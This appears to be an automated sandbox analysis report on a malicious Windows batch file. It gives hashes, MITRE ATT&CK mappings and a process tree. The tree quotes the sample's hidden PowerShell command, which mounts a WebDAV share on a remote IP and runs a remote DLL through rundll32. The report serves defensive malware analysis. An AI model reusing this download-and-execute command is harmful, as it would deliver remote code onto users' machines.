ac9331ad60d1fd3de85434f55138ca4ad516080fbea8009c54f8b8d93953f5a0

Analysis

max time kernel
100s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 01:37

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General

Target

1099124242689628627.bat
Size

2KB
MD5

275d20337d9790b1db6e82b8278d7daf
SHA1

94718670db34ceba5d3b11e2ce3192d6ad1e6bd9
SHA256

ac9331ad60d1fd3de85434f55138ca4ad516080fbea8009c54f8b8d93953f5a0
SHA512

8b11e0bc462a96b366b3512e4ee38cc341746a1aeb8183fdbf4295dcfbaec26370c047e927ce0a36f011de93722a3a3df23457d17baeafb8c2c5136269f46019

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4904	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2972	wordpad.exe
2972	wordpad.exe
2972	wordpad.exe
2972	wordpad.exe
2972	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2972	3056	cmd.exe	84
PID 3056 wrote to memory of 2972	3056	cmd.exe	84
PID 3056 wrote to memory of 4904	3056	cmd.exe	86
PID 3056 wrote to memory of 4904	3056	cmd.exe	86
PID 4904 wrote to memory of 4920	4904	powershell.exe	88
PID 4904 wrote to memory of 4920	4904	powershell.exe	88
PID 4904 wrote to memory of 1596	4904	powershell.exe	89
PID 4904 wrote to memory of 1596	4904	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1099124242689628627.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2385.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4920
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2385.dll,entry
    3⤵
    PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2imx1vsg.qma.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4904-0-0x000002F46B250000-0x000002F46B272000-memory.dmp

Filesize
136KB

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